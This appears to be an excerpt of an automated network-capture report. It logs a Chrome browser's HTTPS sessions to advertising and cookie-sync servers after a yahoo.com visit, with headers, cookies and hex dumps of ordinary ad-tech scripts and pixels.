2024-04-27 22:42:04 UTC	767	OUT	GET /w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: yahoo-bidout-d.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-04-27 22:42:04 UTC	514	IN	HTTP/1.1 302 Moved Temporarily Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:04 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://yahoo-bidout-d.openx.net/w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN Date: Sat, 27 Apr 2024 22:42:04 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50053	172.64.149.180	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	693	OUT	GET /um/ixmatch.html HTTP/1.1 Host: js-sec.indexww.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:04 UTC	442	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 25 Jul 2022 19:18:19 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" CF-Cache-Status: HIT Age: 268 Expires: Sun, 28 Apr 2024 02:42:04 GMT Cache-Control: public, max-age=14400 Accept-Ranges: bytes Server: cloudflare CF-RAY: 87b252dc5fd507e3-IAD
2024-04-27 22:42:04 UTC	927	IN	Data Raw: 62 36 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 72 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 65 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: b68<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.def
2024-04-27 22:42:04 UTC	1369	IN	Data Raw: 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 2e 70 3d 22 22 2c 72 28 72 2e 73 3d 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 65 74 20 72 3d 21 31 3b 63 6f 6e 73 74 20 6e 3d 7b 7d 3b 6c 65 74 20 69 2c 61 2c 6f 2c 63 3b 63 6f 6e 73 74 20 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 2c 72 2c 6e 3d 77 69 6e 64 6f 77 2c 69 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 22 3a 22 5f 5f 75 73 70 61 70 69 22 2c 61 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 3a 22 5f 5f 75 73 70 61 70 69 4c 6f 63 61 74 6f 72 22 3b 66 6f 72 28 3b 6e 3b 29 7b 74 72 79 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 29 7b 72 3d 6e 5b 69 5d 2c 65 3d 6e 3b 62 Data Ascii: ty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;const u={};function s(t){let e,r,n=window,i="TCF"===t?"__tcfapi":"__uspapi",a="TCF"===t?"__tcfapiLocator":"__uspapiLocator";for(;n;){try{if("function"==typeof n[i]){r=n[i],e=n;b
2024-04-27 22:42:04 UTC	631	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 72 61 6d 65 62 6f 72 64 65 72 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 74 29 2c Data Ascii: setAttribute("style","display:none;"),i.setAttribute("width","0"),i.setAttribute("height","0"),i.setAttribute("frameborder","0"),i.setAttribute("marginheight","0"),i.setAttribute("marginwidth","0"),i.setAttribute("scrolling","no"),i.setAttribute("src",t),
2024-04-27 22:42:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50056	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	782	OUT	GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801
2024-04-27 22:42:04 UTC	914	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1134 Connection: close P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:04 GMT; Secure; SameSite=None; Partitioned; Cache-Control: no-cache, no-store, must-revalidate set-cookie: sync=CgoIoQEQk4vkjfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgoItwIQk4vkjfIxCgkIOhCTi-SN8jEKCQgbEJOL5I3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoJCF8Qk4vkjfIx; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:04 GMT; Path=/sync; Domain=.3lift.com; Secure; SameSite=None set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:04 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:04 UTC	1134	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 69 64 3d 35 38 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 66 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 73 76 78 39 74 35 30 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 22 3e 0a 3c 69 6d 67 20 69 64 3d 31 36 31 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 65 62 64 61 3f 73 79 6e 63 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 0a 3c 69 6d 67 20 69 64 3d 32 33 30 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 Data Ascii: <!DOCTYPE html><html><body><img id=58 src="https://match.adsrvr.org/track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid="><img id=161 src="https://eb2.3lift.com/ebda?sync=1&gdpr=0&gdpr_consent="><img id=230 src="https://c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50061	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	1284	OUT	GET /setuid?bidder=sharethrough&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=51b9513d-31fb-4e13-8a96-326616d0043f HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:04 UTC	849	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJzaGFyZXRocm91Z2giOnsidWlkIjoiNTFiOTUxM2QtMzFmYi00ZTEzLThhOTYtMzI2NjE2ZDAwNDNmIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDQuODU5ODQ5NjhaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:04 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:04 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:04 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50057	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	1176	OUT	GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:05 UTC	657	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 38198 Content-Type: text/html; charset=UTF-8 Set-Cookie: usp_status=1; Expires=Tue, 29 Oct 2024 22:42:04 GMT; domain=.media.net; Path=/; sameSite=none; secure=true Set-Cookie: visitor-id=3572593249104590000V10; Expires=Sun, 27 Apr 2025 22:42:04 GMT; domain=.media.net; Path=/; sameSite=none; secure=true x-mnet-hl2: E P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 Cache-Control: max-age=172800 Expires: Mon, 29 Apr 2024 22:42:04 GMT Date: Sat, 27 Apr 2024 22:42:04 GMT Connection: close
2024-04-27 22:42:05 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-04-27 22:42:05 UTC	16384	IN	Data Raw: 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 31 35 31 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 33 31 35 33 36 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 38 22 2c 22 6c Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":151,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":" e ","coc":"NA"},"cs":"8","l
2024-04-27 22:42:05 UTC	16384	IN	Data Raw: 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 22 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 5f 73 69 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 61 78 69 64 5f 65 22 29 Data Ascii: ramValueFromUrl(window.location.href);return t.getParam("gpp")}function C(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("gpp_sid")}function h(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("axid_e")
2024-04-27 22:42:05 UTC	5429	IN	Data Raw: 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 22 3c 72 65 66 55 72 6c 3e 22 29 2c 65 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 74 2e 67 65 74 52 65 66 65 72 72 65 72 55 72 6c 28 29 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 3c 76 69 64 3e 22 2c 6d 28 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 65 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 22 3c 76 69 64 3e 22 29 2c 6d 28 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 3c 61 78 69 64 5f 65 3e 22 2c 65 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 74 2e 67 65 74 41 78 69 64 45 28 29 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 5c 5c 24 7b 47 44 50 52 7d 22 2c 74 2e 67 65 74 47 44 50 52 46 6c 61 67 28 29 3f 22 31 22 3a 22 30 22 29 2c 72 3d 65 2e 72 65 70 6c 61 Data Ascii: .encodeParam("<refUrl>"),e.encodeParam(t.getReferrerUrl())),r=e.replaceAll(r,"<vid>",m()),r=e.replaceAll(r,e.encodeParam("<vid>"),m()),r=e.replaceAll(r,"<axid_e>",e.encodeParam(t.getAxidE())),r=e.replaceAll(r,"\\${GDPR}",t.getGDPRFlag()?"1":"0"),r=e.repla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50062	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	1018	OUT	GET /w/1.0/cm?cc=1&id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: u.openx.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=0903015b-a24b-050d-2460-e2515cc5bd23\|1714257722
2024-04-27 22:42:04 UTC	623	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=0903015b-a24b-050d-2460-e2515cc5bd23\|1714257722; Version=1; Expires=Sun, 27-Apr-2025 22:42:04 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1714257724\|vMgavPkWgyiK; Version=1; Expires=Sun, 12-May-2024 22:42:04 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Sat, 27 Apr 2024 22:42:04 GMT Content-Type: text/html Content-Length: 1019 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:04 UTC	1019	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 6f 70 65 6e 78 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50060	69.166.1.34	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	780	OUT	GET /us.gif?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&loc=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsonobi%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BUID%5D HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:04 UTC	809	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:04 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-5-99 x-xss-protection: 0 location: https://pbs.yahoo.com/setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=2d729954-b637-472c-acf0-d931fcda5d4a set-cookie: __uis=2d729954-b637-472c-acf0-d931fcda5d4a; expires=Mon, 27 May 2024 22:42:04 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s8599\|Zi1/P; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50055	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	811	OUT	GET /pbcas?us_privacy=1YNN&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169%7C
